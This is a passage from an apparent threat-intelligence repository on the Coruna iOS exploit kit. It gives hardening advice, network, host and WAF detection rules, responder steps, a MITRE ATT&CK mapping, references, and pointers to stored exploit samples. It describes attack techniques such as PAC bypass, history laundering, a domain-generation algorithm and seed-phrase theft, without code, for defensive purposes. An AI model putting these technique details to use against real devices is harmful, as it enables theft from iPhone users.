- Keep crypto wallet seed phrases on hardware wallets, not in iCloud-synced Notes
- Do not store BIP39 phrases in any app that might be scanned (Apple Notes, Memo, Notion, etc.)
- Consider a dedicated, offline device for high-value cryptocurrency management
DNS-level blocking
- Use a DNS resolver that blocks known malicious domains (Cloudflare for Families, Quad9, NextDNS)
- Add the domains from 08-iocs.md to your network blocklist
- Subscribe to the CISA KEV catalog for ongoing updates
Detection guidance
Network signatures
Detection rules for network security products:
- Alert on HTTP requests to
/group.htmlon domains with no legitimate business purpose - Alert on HTTP requests whose URL path matches a 40-character SHA-256-derived filename with
.jsextension on the delivery servers listed in 08-iocs.md - Alert on DNS queries for any of the exploit delivery servers
- Alert on connections from iOS devices to newly registered
.xyzdomains with 15-character random labels
Host-based signatures
For endpoint detection on iOS devices (via MDM, Jamf, iVerify, or similar):
- Inspect Safari for the MD5
8717d5ead350dd634cc086dd750b055ain cached JavaScript - Look for
powerdprocesses with unusual memory layouts or unexpected loaded libraries - Check for unexpected
com.apple.assistdlaunch agents (the PLASMAGRID masquerade)
WAF signatures
For web application firewalls protecting legitimate sites against typosquat:
- Block reverse-proxy attempts that pull
group.htmlendpoints - Block iframe embedding of known delivery servers
For responders
If you believe an iPhone has been compromised by Coruna:
- Do not factory-reset before preserving evidence
- Take a sysdiagnose via Settings > Privacy and Security > Analytics and Improvements > Analytics Data
- Check for unusual profiles in Settings > General > VPN and Device Management
- Verify the installed iOS version — if 17.2.1 or earlier, the device was in-scope
- Rotate all credentials that could have been exfiltrated, especially cryptocurrency wallet seed phrases
- Report the incident to CISA, your national CERT, and the Google Threat Intelligence Group
For organizations
- Add iOS 17.3 as a minimum baseline for mobile device management (MDM) enrollment
- Enforce Lockdown Mode for executives, finance, and other high-risk roles via MDM configuration profiles
- Subscribe to GTIG and CISA KEV advisories
- Run awareness training on Telegram/WhatsApp-delivered malicious links
See 10-references.md for links to advisories and further reading.
Acknowledgments
- Google Threat Intelligence Group (GTIG) — original disclosure and the Coruna name.
- CISA — KEV catalog entries and public tracking.
- Apple Product Security — for the patches.
- iVerify — parallel disclosure and host-based telemetry work.
- Project Zero — public WebKit / JavaScriptCore exploitation research that this analysis cross-references.
- Samuel Groß — the JITSploitation series, still the canonical treatment of JSC NaN-box exploitation.
- Nuf1p (nullsector.cc) — independent analysis of the same kit. Several primitives cross-validate against my own observations.
References
Sources cited throughout this repository.
Primary disclosure
- Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit — Google Cloud Blog (GTIG)
- Coruna: Inside the Nation-State-Grade iOS Exploit Kit — iVerify
Vendor coverage
- Coruna iOS Exploit Kit Uses 23 Exploits Across Five Chains — The Hacker News
- Spyware-grade Coruna iOS exploit kit now used in crypto theft attacks — BleepingComputer
- CISA Adds iOS Flaws From Coruna Exploit Kit to KEV List — SecurityWeek
- Nation-State iOS Exploit Kit Coruna Found Powering Global Attacks — SecurityWeek
- Coruna exploit kit moved from spy tool to mass criminal campaign — CSO Online
- Coruna Exploit Kit With 23 Exploits Hacked Thousands of iPhones — CybersecurityNews
CVE entries
- CVE-2024-23222 — Apple WebKit Type Confusion — NVD
- CVE-2024-23222 — Apple WebKit Type Confusion — Help Net Security
- CVE-2023-43000 — WebKit Use-After-Free — NVD
- CVE-2023-43000 — WebKit Use-After-Free Summary — ZeroPath
- CVE-2022-48503 — NVD
- CVE-2021-30952 — NVD
- CVE-2023-41974 — NVD
- CVE-2024-27834 — PAC Bypass in WebKit JIT
- CVE-2023-38606 — NVD
- CVE-2023-32434 — NVD
CISA resources
Related research
- Operation Triangulation (Kaspersky GReAT) — prior iOS kit with overlapping techniques
- Project Zero — WebKit exploit write-ups
Adjacent reading
- Pointer Authentication on ARMv8.3 — Qualcomm Technologies whitepaper
- WebKit JIT Cage design notes — WebKit bug tracker
MITRE ATT&CK Mapping
This page maps the Coruna kit’s observed behavior to the MITRE ATT&CK for Mobile (v16+) and Enterprise matrices. The Mobile matrix is the primary reference because Coruna targets iOS; several techniques cross-reference the Enterprise matrix when they apply to the web-delivery side of the chain.
Summary table
| Tactic | Technique | ID | Matrix | Coruna evidence |
|---|---|---|---|---|
| Initial Access | Drive-by Compromise | T1456 | Mobile | group.html pages on fake gambling/crypto sites execute the loader on page load |
| Initial Access | Drive-by Compromise | T1189 | Enterprise | Same chain from the web-delivery perspective |
| Initial Access | Phishing: Spearphishing Link | T1660 | Mobile | Victims are lured via Telegram, WhatsApp, and branded-lookalike domains |
| Initial Access | Phishing: Spearphishing Link | T1566.002 | Enterprise | Same, from the Enterprise view |
| Execution | Exploitation for Client Execution | T1658 | Mobile | WebKit RCE chains (CVE-2024-23222, CVE-2023-43000, CVE-2022-48503, CVE-2021-30952) |
| Execution | Exploitation for Client Execution | T1203 | Enterprise | Same, cross-matrix cross-reference |
| Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | Enterprise | The loader and exploit modules are delivered as obfuscated JavaScript |
| Execution | Native API | T1575 | Mobile | PLASMAGRID resolves and calls dlopen, dlsym, pthread_create, vm_protect, mach_make_memory_entry via the Mach-O parser |
| Privilege Escalation | Exploitation for Privilege Escalation | T1404 | Mobile | CVE-2023-41974 kernel UAF for the iOS 17 chain; PAC bypass via CVE-2024-27834 technique in the implant loader |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 | Enterprise | Same, cross-matrix |
| Defense Evasion | Obfuscated Files or Information | T1406 | Mobile | XOR-encoded strings, double base64, SHA1 module identifiers, new Function() dynamic execution, per-load Math.random() cache-defeat source randomization |
| Defense Evasion | Obfuscated Files or Information | T1027 | Enterprise | Same, cross-matrix |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | Enterprise | Loader decodes an embedded ~29 KB base64 blob via atob() → new Function() at runtime |
| Defense Evasion | Execution Guardrails | T1480 | Enterprise | Version gate in fingerprinting module (docs/04-fingerprinting.md): kit aborts on iOS ≥17.3, on non-Safari browsers, on spoofed user agents (MathML rendering test), and on platform mismatches |
| Defense Evasion | Virtualization/Sandbox Evasion | T1497 | Enterprise | WebRTC API probe, MathML computed-color probe, UA integrity checks defeat simple dynamic analysis sandboxes |
| Defense Evasion | Masquerading | T1655 | Mobile | PLASMAGRID registers itself as com.apple.assistd; injects into the legitimate powerd daemon |
| Defense Evasion | Indicator Removal on Host | T1630 | Mobile | URL-bar laundering in xA().kA(): after injection, JavaScript rewrites location.href with random query params and removes a near-invisible DOM element to shift the page history entry |
| Discovery | System Information Discovery | T1426 | Mobile | Fingerprinting module extracts exact iOS major.minor.patch, platform, browser engine |
| Discovery | Software Discovery | T1418 | Mobile | Checks for debugging/analysis tools; MobileStore/1.0 user-agent heuristic for in-app browser context |
| Credential Access | Credentials from Password Stores | T1634 | Mobile | PLASMAGRID extracts data from crypto wallet apps: MetaMask, Phantom, Exodus, BitKeep, Trust Wallet, Uniswap |
| Credential Access | Credentials from Password Stores: Password Managers | T1555.005 | Enterprise | Same, Enterprise cross-matrix |
| Collection | Data from Local System | T1533 | Mobile | Scans Apple Notes and Memo applications for BIP39 seed phrases and keywords (“backup phrase”, “bank account”) |
| Collection | Screen Capture | T1513 | Mobile | PLASMAGRID decodes QR codes from images stored on the device |
| Command and Control | Application Layer Protocol: Web Protocols | T1437.001 | Mobile | HTTPS C2 channel for module fetch and exfiltration; 16 MiB shared buffer state machine between JS and native |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | Enterprise | Same, cross-matrix |
| Command and Control | Dynamic Resolution: Domain Generation Algorithms | T1568.002 | Enterprise | DGA seeded with "lazarus" generates 15-character .xyz fallback domains — see tools/dga_lazarus.py |
| Command and Control | Encrypted Channel: Symmetric Cryptography | T1573.001 | Enterprise | Exfil payload encrypted with AES before transmission |
| Exfiltration | Exfiltration Over C2 Channel | T1646 | Mobile | Seed phrases, wallet data, QR codes exfiltrated over HTTPS with AES encryption |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Enterprise | Same, cross-matrix |
Notable sub-techniques and novel combinations
JIT primitive construction as a “sub-procedure” pattern
The kit’s JIT primitives module (docs/05-exploits/01-jit-primitives.md) is not a technique in itself but rather a reusable exploitation sub-procedure that every subsequent module depends on. ATT&CK does not have a sub-technique for “convert memory corruption into a reusable read/write primitive interface” — this pattern is covered under Exploitation for Client Execution (T1658 / T1203) but is worth noting separately because patching any of the upstream WebKit CVEs breaks the entire downstream chain, including the post-exploit stages.
PAC bypass via JIT cage
The implant loader (docs/05-exploits/06-implant-loader.md) uses the technique tracked as CVE-2024-27834 to forge PAC-signed function pointers on arm64e. ATT&CK categorizes this as Exploitation for Privilege Escalation (T1068 / T1404), but the specific sub-technique — reading a known-good PAC-signed pointer from __auth_got to bootstrap signing oracle generation — is not in the matrix. The Coruna_plasmagrid_implant_loader YARA rule specifically targets the _ZN3JSC16jitOperationListE symbol reference that anchors this technique.
URL-bar laundering as Indicator Removal
The xA().kA() routine in the implant loader (see docs/05-exploits/06-implant-loader.md) is a clean example of T1630 Indicator Removal on Host applied to a web session: after native injection succeeds, JavaScript appends random query parameters to location.href and removes the visible DOM trace, so the browser history entry no longer points at the malicious group.html page. This is forensically interesting because it means victim browser histories will often show a laundered URL rather than the original delivery URL.
Tactics NOT observed (but plausibly in scope)
Not observed in the modules shipped in this deployment, but worth noting as gaps that may appear in the LJst0s variant or future captures:
- Persistence (T1398 Boot or Logon Initialization Scripts / T1624 Event Triggered Execution) — PLASMAGRID’s persistence mechanism is in the ARM64 shellcode, which is out of scope for this repository. The JS-side implant loader performs injection but not persistence installation.
- Defense Evasion: Impair Defenses (T1629) — The implant loader’s cleartext symbol table references
_os_log_actualand ASL logging APIs, suggesting log suppression, but the suppression logic lives in the native payload. - Lateral Movement — Not observed. Coruna is a data-theft operation, not a lateral-movement operation.
Cross-references
- Per-technique detection guidance in 09-defenses.md
- Rule-to-technique mapping in tools/yara/coruna.yar and tools/sigma/
- MITRE ATT&CK for Mobile
- MITRE ATT&CK for Enterprise
IoCs (CSV)
The full machine-readable IoC list — file hashes, MD5s, delivery domains (including the DGA fallback .xyz set), C2 endpoints, and on-server filename patterns — lives in docs/iocs.csv. Human-readable IoC tables are in the Indicators of compromise section above.
Source Artifacts
All original and deobfuscated JavaScript payloads live in the GitHub repository. The cleaning pipeline is reproducible — every clean file regenerates from the matching original via the tools listed below.
Loaders
The 47-KB inline script served as inline_script_1.js from the delivery sites, plus the helper modules carved out of it during cleaning.
| Variant | Original (obfuscated) | Cleaned (deobfuscated) | MD5 (original) |
|---|---|---|---|
lysNguv | original.js | clean.js | 8717d5ead350dd634cc086dd750b055a |
fqMaGkNL | original.js | clean.js | ccff3f70539f09a83decfb2cbd61acf0 |
Embedded modules (fingerprinting.js + math-utilities.js, broken out of the loader during cleaning) sit next to each variant under analysis/loader/.
Exploit modules
WebKit / JavaScriptCore chains fetched remotely after fingerprinting picks the right one for the device. Per-file MD5s are in the IoC tables and the docs/iocs.csv above; full source for each module:
- lysNguv — 7 cleaned + 6 originals:
analysis/exploits/lysnguv/ - fqMaGkNL — 4 cleaned + 4 originals:
analysis/exploits/fqmagknl/